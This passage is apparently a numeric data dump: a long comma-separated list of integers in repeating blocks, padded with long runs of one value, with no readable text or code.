83,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22735,19552,20287,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22750,19288,21529,24035,23112,28056,23511,29483,28756,24035,24035,24035,24036,23114,23114,23114,23114,20327,23511,23511,23511,23511,31156,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,24254,20371,23511,23511,23511,23511,27443,20395,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,29457,29700,23511,23511,23511,23511,33444,20402,24035,24035,24035,24036,23114,23114,23114,23114,28350,20421,23511,23511,23511,23511,25645,24035,24035,24035,26576,23114,23114,23114,20447,20475,23511,23511,23511,23634,24035,24035,23110,23114,23114,20499,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,20523,22257,20569,20783,21715,17603,20699,20837,20614,20630,21149,20670,21405,17486,17509,17525,18373,19179,20695,20716,20732,20755,19194,18042,21641,20592,20779,20598,21412,17470,17591,20896,17468,17619,20799,20700,21031,20744,20699,20828,18075,21259,20581,20853,18048,20868,20884,17756,17784,17800,17825,17854,21171,21200,20931,20947,21378,20955,20971,18086,20645,21002,20986,18178,17960,18012,18381,18064,29176,21044,21438,21018,21122,21393,21060,21844,21094,20654,17493,18150,18166,18214,25967,20763,21799,21110,21830,21138,21246,21301,18336,18361,21165,21187,20812,21216,21232,21287,21317,18553,21347,21363,21428,21454,21271,21483,21499,21515,21575,21467,18712,21591,21633,21078,18189,18198,20679,21657,21701,21074,21687,21740,21756,21786,21815,21860,21876,21892,21946,21962,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36457,19288,19457,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,36813,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,21981,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,22151,22007,18884,17900,17922,17944,18178,17960,18012,18381,18064,27898,17884,18890,17906,17928,22042,25022,18130,36931,36963,17493,18150,18166,22070,22112,25026,18134,36935,18262,18278,18294,18320,18336,18361,22142,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36109,19288,18469,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22167,19288,19457,36866,17466,17768,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22227,36487,22273,36866,17466,36890,36866,19316,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18749,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,22304,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,19580,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22330,19089,19457,36866,17466,18721,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22765,19347,19457,36866,17466,36890,36866,18114,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,24035,23112,32618,23511,29483,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,29116,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,27443,22493,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34541,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,22839,23511,23511,23511,23511,25645,24035,24035,24035,26576,23114,23114,23114,32683,22516,23511,23511,23511,22540,24035,24035,23110,23114,23114,20499,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,24035,23112,32618,23511,29483,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,29116,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,27443,22493,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34564,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,22839,23511,23511,23511,23511,25645,24035,24035,24035,26576,23114,23114,23114,32683,22516,23511,23511,23511,23634,24035,24035,23110,23114,23114,20499,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,24035,23112,32618,23511,29483,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,29908,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,27443,22493,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34564,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,22839,23511,23511,23511,23511,25645,24035,24035,24035,26576,23114,23114,23114,32683,22516,23511,23511,23511,23634,24035,24035,23110,23114,23114,20499,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,24035,23112,32618,23511,29483,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,29116,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,27443,22561,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34564,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,22839,23511,23511,23511,23511,25645,24035,24035,24035,26576,23114,23114,23114,32683,22516,23511,23511,23511,23634,24035,24035,23110,23114,23114,20499,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,24035,23112,23837,23511,29483,29939,24035,24035,24035,24036,23114,23114,23114,23114,22584,23511,23511,23511,23511,29116,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,27443,22493,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34564,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,22839,23511,23511,23511,23511,25645,24035,24035,24035,26576,23114,23114,23114,32683,22516,23511,23511,23511,23634,24035,24035,23110,23114,23114,20499,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,24035,23112,32618,23511,31507,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,28306,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,23512,24694,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,20271,23511,23511,23511,23511,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36442,19288,21605,24035,23112,28137,23511,31507,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,28306,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,23512,24694,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,20271,23511,23511,23511,23511,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,24035,23112,32618,23511,31507,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,28306,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,23512,24694,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,20271,23511,23511,23511,23511,31568,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22690,19288,19457,36866,17466,36890,36866,21991,27584,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,22659,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22360,19552,19457,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,190